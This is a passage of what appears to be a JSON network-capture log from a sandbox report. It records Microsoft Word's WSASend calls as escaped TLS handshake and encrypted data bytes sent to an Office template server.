  673. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe,\\xb0]|>\\xb0\\xa8\\x0e\\xcd\\xf4\\xcc\\xa8#-f\\xa5/\\xcc\\xf0\\x85\\xefyc\\x04\\xa7o?d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  674. },
  675. {
  676. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\x01_\\x96\\x13\\xa6\\x9e`\\xd7j!\\xfc\\xec4r\\xa8}o\\x0cd\\xfd\\x0e\\xa9\\xb5\\x1a$\\x92:{\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  677. },
  678. {
  679. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xe3\\x89\\xe6\\xa0#\\x9fa\\x173]\\xb4\\xf9\\xdd\\x1f+e`\\xb9\\x86w\\x15\\xf5\\xa3\\xc4\\xb7\\x9f\\x9e\\xd1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  680. },
  681. {
  682. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04t\\xcfzy\\x9d<j\\xc7\\xe4\\x12taa\\xf9\\xf7\\x94\\x17\\x95\"\\xc6dv\\xa5\\x1fvca~\\xde\\xd6\\xa7\\xd1\\x87v\\x06a\\xb8\\xf4d\\xafx\\xbf\\x9e\\xcd\\xf2\\xba\\x9e\\xf9\\x0fl\\xb9v]\\xdc\\xb5\\x92\\xbfdd\\xda$qb\\x13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i\\x93\\x8aem_|\\xcf\\x01\\xfdu|,%\\x9d\\xbd\\xa8<\\x7f\\x9a\\x98q\\x1bt\\xe6\\x8f\\xd7\\xc82\\xa6a%\\xd1\\x13#}iyp\\xd5^\\x0b\\xa4@ \\x0fj\\xfd"
  683. },
  684. {
  685. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x044\\xeb\\xac\\xa49pl\\xbe\\xe9\\xeb\\xa2\\xa3\\xc28\\xdc\\xf9\\xb9\\xb1?$qz\\xd9ze@\\x815*\\x1a[\\xa5\\xa8\\xef\\xa7\\xae\\x83e\\x1c\\x1f\\x16\\xeex}\\xdfv\\xb1\\x8a\\x1d\\xc9\\xb3\\xaf\\x02\\xecb\\xb0/\\xb4q}?\\x0b\\x04\\xc9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000l\\xc0&\\x9emhq\\xa4\\x84\\x96fa\\x9f \\xf7\\xa6z\\x86hs\\xf8dz\\x86az\\xd1\\x0c\\xc6?9:\\xc5\\x86\\xf4l\\x949\n\\xd6\\xb3\\xf8\\xf3@\\x8c\\xc7\\x97l"
  686. },
  687. {
  688. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe7\\xf7a\\xfc\\xbd)\\x16\\xae\\xebgx\\x11x\\xb3m\\x8cm\\xe7k\\x98\\xb5\\x92i\\xc3\\x83p\\x9e:o\\xa5\\x80s\\x85|>\\xdd}2\\xd0\rcq\\xdc\\xff*\\xa3\\x81\\x97\\xa5}j\\x1a!\\x9a\\xa6'\\xd6p\\xedn\\x1d\\xa8\\xa3\\xc4\\x036;\\x868\\xd9\\xc3o\\x1d\\xcc!\\xfd&\\x10\\x94\\xbe\\xfa\r\\xaa\\x90\\xa9y\\xb4\\xff#4\\xe4c\\x0c\\x87\\xbe\\x9d\\xb2\\x90.\\xc5\\xd6\\x8f4\\xf0,|\\x95\\x033\\xd4\\xeec\\xecs\\x91z\\xa8\\x03\\x1d\\xd6z\\x0bt\\x8be\\x96u\\x89\\xf7\\xa0mg\\x7f1\\xd1b*\\x12\\xe1\\xa3\\x9e\\xc3\\x83\\xb6\\xc3\\xf3g\\xf3rxd\\x0ck\\xb3\\xc8\\xf92,\\x0b\\xb42^\\xff\\xdc*8g\\xc8\\x05\\xde.\\xb5\\xa3\\xd6\\xdf\\xb3\\xbb\\xb0\\xd1\\xba\\xa2]bg\\xae\\x1f\\x84\\xa4\"[\\xa5\\x1b\\x02;1\\x84\\xaa\\x01|\\x1d\\xf8\\x0fu}\\xad{\\x1c\\x8ab\t\\x94m\\xa7f\\x82\\x05\\xec\\xc1\\xd6\\xd6\\xa6\\x12\\xd61\\xf6\\xd5\\x86\\xfcp&n\\xca\\x8c{\\xf3\\x8f\\xb0\\x0fx\\xf5\\xf7\\x1a\\xf3\\xdb\\xc8\\xe2{ \\x18\\xb0\\x81"
  689. },
  690. {
  691. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf4\\x19\\xc8j\\x86%\\xa1\\xa2\\xc9\\xc1\\xcb\\xa1z\\x12\\xa2\\xec\\x86\\xb7\\xf4f\\xe1\\xde\\x81}\\x85\\xf2\\xb1\\xea@\\xd6`\\xec:#\\x86\\xdd\\x8c\\x18h\\xd0\\x0e\\xdd\\xda\\x98\\x18\\x1cva\\x1c\\xbb\\xe7\\x89\\xd5\\xb1\\x89k\\xe7\\xe5\\x12\\x83b>0\\xca\\xd3\\x8b\\x7fk)\\xa5\\xc1\\xd4\\x0b\\xc5\\x8cl\\x17\\xd9n\\xbc\\xc2\\x91\\xb0\\xf9\\xd5\\xd1fb\\xe0\\x12\\xa9&v\\xa3\\xbc\\xf9<\\xaf\\xbc\\xea\\xcbj\\xb3\\xa1\\xc0\\xc3\\xbat4w+a\\x7f\\x95\\x854\\x8e\\xc5\\xcdy,\\xf3\\xe2\\xba&f\\xecs\\xd7\\x11\\xbd\\x19\\xedf\\xad\\x80\\x1a\\x8d\\x8fz\\xd3\\x9e\\x92\\xdavn\\x06\\xff\\xd5z\\x07`t\\x1a\\xec\\xdemqn\\xec7,m\\x0b\\xd4u$yfm\\xa2\\xea\\x16\\x04\\xa6\\xa3\\x87\\x91\\xa4\\xe1\\xadk\\xfb\\xcd\\xf9\\xdc\\xcd2\\x11h\n\rw\\xb6\\xba\\xb3\\xe1\\xbb\\xaf\\x82\\xb4i\\x12\\xd2q\\x9d\nr\\xd7u go\\xed\\xbd\\xb8\\xda\\xef__\\xf9g\\xf0)\\xbba\\x0b\\x05\\xda7\\x92kw\r\\xf8\\x0fx\\xea$\\xf2\\xdc/\\x10\\xa5\\xaa\\xf6\\xa4mf\\x14\\x91"
  692. },
  693. {
  694. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf9\\xc9\\xfc\\x08p\\xf7[\\x8d\\xb7\\x0e3\\xd4\\xa3y\\xf4\\xce\\x90\\xea\\xd4\\x90)\\xda1\\x04<\\xc9`\\x89\\x90 \\xee:\\xcat\\x90\\xd9\\xe5\\x97\\x12\\xccc\\x95ym\\xa2\\xe9\\x9e\\xba\\x8b\"\\x93x\\xa38\\x81,\\x158\\xec\\xc0\\xcc \\x11u\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x02u\\x1cy\\xdbm$=\\x87\\xa0\\xd0\\xe3;r\\xf0\\xb4#\\xc7\\x9e\\x14q\\xaar-\\xab\\xe2en\\xbf\\xb39>\\x0e\\x7f\\xe6l\\xc4\\xf9\\xd7buf\\xc5\\x04\\xab\\x1bfo"
  695. },
  696. {
  697. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8a\\xbc\\x04\\xb2\\xbc\\x94\\xbc\\xb2q )8\\xc3\\xf9\\x99w\\x00\\xc2g\\x83e\\xcal\\xc9\\xd7qz#x\\xdf[a\\xe0\\xcd\\xd6<\\x96yf*\\x0bi\\xca\\x81\\x98bku\\x7f\\x83\\xdf\\xe0\\xa6\\xec\\x1f\\xbb\\xd8\\xdf\\xe3\\x9c\\x10\\xce\\xfb\\xb6\\xa5u \\xbf\\x84\\xadk\\x19\\xe5\\x1e\\xd1\\xc5\\x98b\\xf0[\"j\\xeb&\\xf55\\xcb\\xce\\xb96s\\x05ko\\xfek\\x0c\\x9a1\\xdd\\xc1t\\xca&\\x1d\\xa5\\x9dc\\xd5z\\xbc\\xf3\\xbcl\\x98\\xb4\\xa2\\xe9\n\\x17\\xe2\\xdeb+jr\\xb3\\xaf\\xa9\\x9e\\x90,\\xe1]\\xad\\xb4,\\x9e\\xc9w\\x82wr0\\xcf\\x14:\\x96]\\x13b+idt\\xcfe\\x08~%\\xbej\\xb4\\x8f\\x84\\x993\\xa9\\x11\\x13\\xd2\\x1c6\\xfeu\\xf5\\x7fa2%k\\xe3^\\xeb\\xc0\\x9fq^\\xec\\xfby\\xac\\xb1\\xb2\\x98\\xb7\\x80v\\xf1\\x98\\xcd\\x1a*\\xf1\\x0bk\\x94~~\\xc5\\x11\\x17c\\x10;\\xfcnx\\xc7z\\xde\\xb2we:\\x7f\\xdba\r5%?\\xb4u3\\xae\\xf7n\\x99\\x8c\\xb8zi\\x81\\xe4\\x80\\x1d\\xd6xt\\x17"
  698. },
  699. {
  700. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\\xe6\\x8d!cl\\x84~a\\xfc'd@k\\x9f\\xefq_u\\x8c\\xe0\tf\\x11\\xc4rl\\xce\\x8c\\xce\\xce\\xc1an\\x8fwu\\xff\\x9cd%\\xf0e\\x87\\x85\\x9f\\x17\\x0e\\xa5\\xaf\\x18\\x9b\\x90\\x91\\xf4\\x07\\xed&\\xa5!&\\xaf\\xc72\\xa0wn?\\xb7\\xf8\\xb8:\\xbf\\xccu\\xab\\xb6\\xaa@i\\x1f\\xe6r\\xed\\xb0\\xd3\\x8c\\xd9\\x9c<\\x95\\xf5\\xac\\x95a\\x0b\\x9a`\\xbc\\x17\\x94t\\xf7\\x920\\x97\\xdd\\xbc\\x9a!\\xea_9\\x87\\x88\\xbbq\\xab\\x93\\x9c\rq#\\x17u\\x9b\\xf9*\\xc09\\xf9\\xbfy\\xe4@\t\\xde\\xc0\\xfb\\xc0\\x1d\\x06x\\xb2\\x85$\\x87\\xe1}\\xc4\\x90\\xbdpx\\xcb/7\\x9b\\xe9\\xbf?r\\x05\\xa7\\x06\n1\\xaf\\x90h\\x83\\x92\\xc1\\xbc\\xa1\\xec\\xcb\\xaf\\x1a\\xd7\\xc7\\xdc\\xfc\\xa2\\xa6\\xb0\\xbf\\x8a\\xa7o5\\xe6\\xb6#w\\x03\\xa7[\\xcc\\x90\\xa0\\x85m\\xd8^\\xfe\\x04\\xf5\\xa8;\n\\xcd\\xf48u\\xb8\\x98\\x0cx\\xc6\\xba\\x98u.-\\xc7\\x08\\xc0\\xe0f\\x987\n\\xe3\\xdai\\x87\\xeac\\xda\\xd6b\\xb0\\x99\\xf5h\\xc8\\xd9\\x10\\xd8\\x99"
  701. },
  702. {
  703. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd4\\xfcg\\xc2\\xfe>\\x87\\xbbe\\xe3r;|\\xc0\\xb2\\xfa\\x07\\xc5\\x1c\\xc7\\x89\n\\x92\\x82\\x1e3\\xc0b\\x83\\xc3\\xedu\nvh\\xfb}\\xf0\\x05u\\x06jf\\x89~\\xda\\x12\\x9b\\xe8\\xaaor\\xff}\\xaa\\xc8\\xb3\\xf5\\xca\\x9c\\xd6\\x8b\n\\xab\\xac \\xef\\xe6\\xca&(\\x15\\xd9\\xae\\x03qa`\\x9b\\x05k\\xad\\xd5\\x12|\\xd9\\xd3\\xf6\\\\x92\\xef,\\xf4\\xa7c\\x13r\\xc6\\x83\\x0c\\xb5\\x95\\xba+\\xfb,^\\x96\\xdf\\x95\\xad\\x13>\\xb5\\xca\\x1ff\\xda\\xa5u\\x89\\x1b\\xee\\x827\\xbb\\xc7\\x08\\x1d8\\xd8\\x1es\\xb35el{l\\xa3\\xc7\\x99\\x88;\\xa0\\xe9o\\x1b\\xa26\\x82\\xf0\\x1e<\\xf0u\\xd3sr \\xc6\"l!\\xbe\\xe4\\xfc\\x03\\xcab\\xe6\\xad\\xe1:<\\xa7\\x18\\x86\\x12c\\x14\\xa7\\x00%i\\xb6}\\xfdk\\x96i\\xc6\\x86g\\xf7\\x10j\\xd4\\xe0ul(\\xc6\\xaa\\xae\\x7f\\xb3\\xcc\\x94\\xec\\xd2\\xbc\\xbc\\xec\\x10\\x97\\x98k\\xd8\\x96[.ym\\xb9\\x84\\x80q\\x02!\\x1a\\xd5\\x06\\xd5\\x10\\xfc\\xcd\\x03q\\x19\\xa3\\xc4u\\xf1\\x02\\x18f>\\x10:\\xba"
  704. },
  705. {
  706. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x15\\xc29xfa\\x18\\xc2\\xeb\\xe7\\x95\\x1a;\\xbfdl7\\xf8\\xb7\\xbcuo\\x86mox\\xd0\"\\xc2\\xb4\\x00\\x8a\\x8c\\xf3g\\x90\\xe3\\x05\\x98\\x8e+f\\xb4c\\xa2\\xae\\x16es\\xb5\\xda\\xf5,9\\x87 aq7b+\\x7f\\x85\\x87g=\\x8fosd\\x9ctw\\xb0^99\\x91\\xbeffr\\x88\\xbb\\xea\\xcd\\xd1\\xe1n=\\xcay\\x07\\xc6~\\x82\\xd7\\x13\\xf2\\x8a\\xfb\\xd3\\xb1\\x8b\\x82\\xcb1h:3i\\x8b\\xca\\xbe\\x03\\xf5#\\x9cmp\\xd6\\xe8l\\xea'c\\x97\\xc4\\xe7l\\xeb\\x13?\\xb0\\x8a_\\x82\\x92\\xba\\\\xa3b\nt\\x8b\\xce\\xa7\\x1b\\xa7(e|\\xc5\\xe6\n|\\x12ix`\\x83x\\xc1n\\x14\\x1df ~\\xd5\\xab\\xdf\\xe3_\\x0e\\x89\\xdb5\\xc0h\\xab0\\x88\\xca\\xb6\\x8b\\xb8y\\xa7_\\xc6,\\xb20\\x15s\\xe1\\xa0\\xe0\\x12\\x97\\x84\\xed\\x04g\\xdd\\xcc\\xff\\xde\\x9d\\x86\\xb2}j\\xe2\\x11\\x97\\x1a\\xd7\\xd7)\\xae\\x14\\xb7\\x1d\\x8b\\xda\\xe7\\x02\\x0c\\xa2b\\xc6\\xf4\\x91\\xa6o\\xef\\xe3\\x93\\\\xc8&\\xb6'\\x95?\\x05\\xde\\xc6\\x8b"
  707. },
  708. {
  709. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010?|\\\\xe2\\x11)\\xf8\\x9f\\x0c\\xc4\\xd3->k[\\xb2\\xa9:=\\x02\\xbc\\x9d\\xf36y\\xc9\\xd6\\xce\\x97\\xa6z\\x90of\\xdfr\\xfd\\x98\\xda\\x86\\xdd\\x8b\\x1c6\\xb6p.7\\xb7\\xd5\\xa5\\x1a\\x04\\xcb\\x85{\\xb7\\xda`\\x15d\\x9f\\x9f\\x0cr\\xd5\\xdb\\x03|\\xf0\n~\\x13k\\xfd\\x98p\\xd5!j\\x03\\x12r\\xe4\\xb3\\x1a\\x07\"\\x89\\xc3\\x01\\xbb\\x87<l\\xe8\\x05\\xeb.\\x95\\xd4#\\xe1!\\\\x8dq#\\x1a}6\\xe8\\xb8b\\xfcn\\x04o\\x06\\xf8[v\\xd7l\\xf6\\x91\\x86\\xbe'>\\xd0?\\x12\\xd1\\xd4\\x82\\xc6\\xf1(\\xa9\\xbe|i.\\x90c\\xd8\\x1b\\xce^\\x9c\\x1a\\xa4\\x0c\\xa7\\x96\\xd3j\\xcfm\\x0e\\xaf\\xf2\\xfe\\x8b\\xd0\\x8a\\xc6\\x8f\\x15\\xe0\\xe8q\\xc0\\xf0\\x13u\\x90\\x92\\x07\\x9ez#l*\\x94\\xda(3\\2\"\\xc92g\\xe0&\\xcas)\\xd7\\x18a\\xa8\\x9d%z\\x02\\xffh\\xe6f\\xdf\\x8d\\xe6\\x99\\x9a\\xc6fc\\x06n\\xeb\\xd4\t\\x86q\\xf0*\\xbf_ds\\x97\\xf1^m\"\\x08g\\xcc>n8\\xed\\x9ds\\xef(\\xcf\\xc6"
  710. },
  711. {
  712. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\\xf4q\\xbbmu8\\x01mvb\\x17\\x93\\xdb/\\xa0\\x06\\xf5\\xc0'\\x86=!\\xcb\\x9b\\xe2\\x81{\\xd2\\x1b\\x8a\\xdbz+\\xc8\\xeb:ng\\so\\x1c\\x19\\xee\\xb2?|<2\\xd8\\xc8et\\xb4h\\xd7\\x9fn,\\x14\\x97\\xcd\\x12,\\xf2\\xe1\\x85'\\xa4zp\\xef!~\\xe6\\x9bm\\x00\\xa333\\xcc\\x9f\\xc2\\xc7\\xe9\\xf6]\\x9c[\\xae\\xe9\\x01\\xfd\\xe2\\x86\\xac\\x01@\\xeeg\\x14#c<}y5\\x08\\xa3\\xd3}\\x81\\x9f\\x9c\\xec\\xbd\\x0bse6\\xcb\\xb3\\x11\\xec\\x9c\\xe7\\xc2;\\x16\\x06\\x08\\x99\\xee\\xd0'}\\x0f\\x93\\xdc\\xef\\x90\\x81\\x19q\\xf2\\xb872k\\x0e\\xa8\\x91c\\x85\\xa6u\\xcc\\xd2\\x9a\\xa1\\$\\xe1q\\xa4\\x1c\\x87>\\xa0\\xcb\\xc4\\x88\\x8c*\\xd8}\\xc9\\x85=bf\\xab\\x81\\xb6~\\xfdj\\xa22\\xd9&\\x81w\\xfb\\xc1f\\xfd\\xe9\\xb6rp\\xa8\\xf4~o^\\x11y}e\\xa0\\xd8m\\x002s)c\\xe8\\xa5\\xe9)\\x0b'\\xc0\\x99\\xa9\\xdb\\xcd\\x92\\x13\\xf6\\x13\\xb2\\xc9\\x90\\x85]\\x82\\xef8\\xb8\\xd9o\\xac0dc\\xb8"
  713. },
  714. {
  715. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010-\\xe73\\x82\\xd8\\x06\\x85\\x11\\xc9\\xd7\\x95\\xb2\\x13\\xd0 \\xf0#\\xe0.\\xe8\\x17}z\\x87\\x943\\x8f\\xd0\\x16\\x97bt?3\\xc5l?\\xfd\\xaa\\xcd\\x82\\x80\\x9af\\xa9\\x04\\xfa\\xba\\x8e\\xab\\xd7\\x8c\\xc19\\xc1\\xb0a0\\x03o\\x81\\xc0\\x07\\xc9m\\xe4\\xc5*\\xd8\\xfcx\\xae\\x14\\x17\\xae\\xf7w\\xb7\\x9dea\\xffn\\x85)\\x87.\\x87\\xeb\\x04|\\xbf\\x04\\xc1\\xc7\\x17\\xb3qm\\xca\\xc6\\x89\\xfc9>c}\\xe8\\x11\\xf9_\\xa7\\x83\\x0f%\\xa2\\xb0kq\\x05\\x9an\\xb1cy\\xfc\\xeaakcd(\\xf4_\\x08\\x1a^s\\xbc\\xb7\\xbb\\x1d\\xa1\\xc3\\x8f\\xf8\\x86\\x0c\\x15\\xb0\\xba$\\xd8(\\x15\\xcen\\xdaa\\xaf\\xd8'\\xae\\xa8p\\xa4\\xf5\\x07h\\xc7#\\xc5\r\\xb2\\xbc\\x83c\\x19[f\\xa1q\\xc7\\x8a\\xda\\xe6\\x18\\xbf\\x14\\xe6\\x1d\\xean@f\\xba\\xb2\\xddx\\x88\\xcd&\\x0e39\\x14!\\xb5=\\xea\\x7fd/\\x7f\\xacdc\\xf31\\xa9\\x94:\\x87r?\\xc8\\xcb\\x94\\x00vfgx'\\xf5\\xae\\x97\\x91\\xd3>y\\xbe\\xe7\\xa8i\\x908\\xcb\\xdd\\x02\\xc9"
  716. },
  717. {
  718. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04gw\r\\xfd\\xaa\\x86\\x1dt\\x01\\xdds~\\x04\\xa3\\xd7i\\x87\\xab\\xd4y\\xdb\\xccg\\x00\\xa7#\\xe6\\xe6\\x02\\xce\\xb2h\\xfd\\xd7\\x06\\x94\\xfe9dv\\x93\\x82\\xc9\\xf0\\xe5je\\xe6\\xae\\x8f,q\\xe2x\\xcb\\xeb\\xf32\\xed\\xc1\\xf1]'\\xd4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc3q0om\\xfd\\xc2\\xc4\\xea\\xe7\\xea\\x19\\xb4g\\xa0\\x00\\xc3\\xce\\xfbt\\x11 \\xcek\\xec\\xf8nh\\xd32\\xe8\\xa7$\\x08\\xae\\x9fm\\x18b\\xb0\\xa5@\\xca\\xa3\\x7f\\x8e>\\xa6"
  719. },
  720. {
  721. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe7\\xbd\\x81\\xab\\xbb\\x87x|\\xf8cr2oq}|d*\\x0f\\x97\\xae<\\xb1\\xc6e\rt\\xeb\\xa3dy\\xd7(\\x932ym\\xb7\\xb6\\xaf\\xf5\\xda0^\\x01\\xe1\\x85\\xd9\\xebo\\x8ed\\xe5r\\x0e\\xf5j\\xdb\\xac@l\\x16+\\xbe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000o;k\\xf6\\x80\\x9f\\x10{( \\x9d}\\x9f\\x93\\xdd=\\xa4\\x98\\xf4gz`\\xba\\xeb:\\x10\\xa9k\\x04;\\x89\\xef\\xd4m\\x94\\x9d]e\\x07\\xcb\\x89\\x19\\x86\\xd7\\xfa!{\\x8b"
  722. },
  723. {
  724. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xba\\xcf\\x15\\xa7g[\\x89q\\xb5\\x8eje\\x90?\\xc85\\xf8\\x9a}\\x03\\xb2\\x93ck\\xc4\\xb21\\xca\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  725. },
  726. {
  727. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xabm\\x9d/\\xb0\\xe8m\\xa4\\x18\\xe5%\\x92\\x15\\x1f\\x17s\\xdf\\x94\\xbawj7\\xb0\\xb2f]\\xbdmj\\x96$\\x0c\\xed\\x12r&\\x97u\\xb0\\x80r.j\\xd8\\xe4\\xec`\\x90\\x98\\xde\\xe86\\xea\\x07\\x1cq\\xfc \\x0f\\xe2\\xaf\\x06v\\xef/?\\xe3\\x8a!h\\x91\\x1bv\\xe9ku\\x9f\\xb0\\xa0c\\xack\\x86%\\xc9q\\xd4=\\x91\\x7f>\\xe8k\\xaa]\\xa0\\xeb\\xb9o;\\x96\\xaf`^\\xfdt\\x1f?\\x87vp\\xb1\\x1b\\xc8af\\x98#\\xae\\x90\\xf8wh\\x92o\\xbc@\\x89\\xc13\\x88\\x7fl\\x13\\x1c\\x95*\r\\xa6m).\\x1e5\\xb1w\\xc0\\xd2y}\\xcc)\\xbf\\x00\\x1d\\x98\\xdb\\x85\\xc8\\xc9*\\xd1/o\\x11#\\x99t[\\xaf\\xb0\\xd2?$\\xa8+\\xd3izeu!*\\xe9#\\xe8z\\x14\\x9cj\\xbes{j8/\\x0c\\xaa\\x9f\\x814\\x1a\\xa6\\x9c\\xd3\\xe8\\x97tlk\\xd1k\\xf5\\x13\\x0e\\x9bj\\xa7\\x0c)6y\\x9a\\x97n3\\x9f\\xe9\\x1f\\x15\\x0e3\\x92\\x9fj\\x04qf\\x18\\xbd4\\xba\\x9fx9\\x08\\x1a,s]s"
  728. },
  729. {
  730. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf1\\xe1[c\\xdc\\x94\\xec\\x92\\xb5;e~=-\\xb0!\\xe1\\x12\\xa2o\\xe8\\xa5v\\xde\\x1co9\\xbd\\xd3\\xf7\\x00\\x9b\\xd3\\xb4\\xcc'\\xc8^\\xb8\\x05l\\x1f\\x99\\xdf\\xc9\\x0b#b\\xf1\\x01\\x87-\\xd4bh\\x15\\xe6\\x9f\\x1f\\xc5l\\x86n\\x05jn\\x96ps\nk'\\xdev\\x13lf\\xcde\\xf7\\xbdx\\x0c\\x0f\\xde\\x9a\\x13\\x05\\x86`\\x0c\\x15\\x01\\xee\\x8c\\xd5i\\xd0\\x92\\xe2k\\x81\\xbc\\xf0l\\x9e\n`\\xf23\\xd5j\\x1f\\xdc\\xe8\\x0c\\x1e*p\n\\xcc\\xa8$\\xc27%\\x0b\\xa1b\\xed\\xa2xe\\\\x05\\xd7:\\xb8(\\xd8\t\\x94n\\xad\\xa0\\xfd\\xe3\\x05ro\\xb9\\x80\\x80x\\x8e\\xf5\\xa1/\\xbe\\xcf\\xdc\\xaa\\?\\x14\\x10\\xac\\xff3\\x98\\xf5\\xa8{_(\\xcb\\x7f3a\\xab\\xba\\x13\\xd2\\x00\\xa5m\\x9c\\x17\\x026\\xaa\\xc5\\xf1\\xe7\r|%\\x03\\xe01\\x99\\xc0\\xc8\r\\xec\\xbal+\\xd4\\xf2\\xda0\\x0e\\x8c\\xb4oa$6\\xff\\xf6\\x02 \\xa3\\xcb\\xf8^|\\xd29\\x07?\\xa0>\\x85\\x14\\xf6\\x10\\xa8\\x19\\x91\\xe8\\x0f\\xb1\\xa5%\nk\\xa4\\x07\\xc4"
  731. },
  732. {
  733. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04x\\x0f\\xd7\\xc3\\xe2\\xdd\\x03:\\xb4c\\xda\\xe1vop-/\\xe1\\xb7\\xea\\x178\\x12\\xf3i\\xf4xq\\x0f\\xdb\\x0c\\xcd\\x98d[\\x8bf\\xfew\\x0f\r\\xd8\\x90no\\xe1\\x9dj\\xffp\\xe5\\xdb\\xab\\xa6\\xd0\\xfa\\x0b\\xda<\\x1dw\\x048\\x8f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000v,c\\x19a\\x06\\xcdkc8\\xc9\\xfd\\xaf\\x15+\\x8a9\\xc1\\xf3\\xce\\xc2\\xb0\\x99e\\xf6\\xdb\\xa8\\xa8\\xcb\\xd2ph\r\\xca\\xbd\\xe6\\xc0\\x9fe\\xf8\\xc3v\\xaf\\x88o\\x111\\x02"
  734. },
  735. {
  736. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbep\\xe6\te\\x84^.\\xc4z\"\\xc0a\\x1an\\xed*\\xd4@\\xbe7\\x9a\\xbee\\x07\\x17(c\\xdc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  737. },
  738. {
  739. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\x057\\x9e{\\x14\\2\\x19\\x13\\xd2\\xc2\\x9c*\\xe8\\xa1\\xc9\\x9c\\x19\\x933\\x01\\xc7\\xa8\\xcf\\xd3\\xce\\xb7\\x7f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  740. },
  741. {
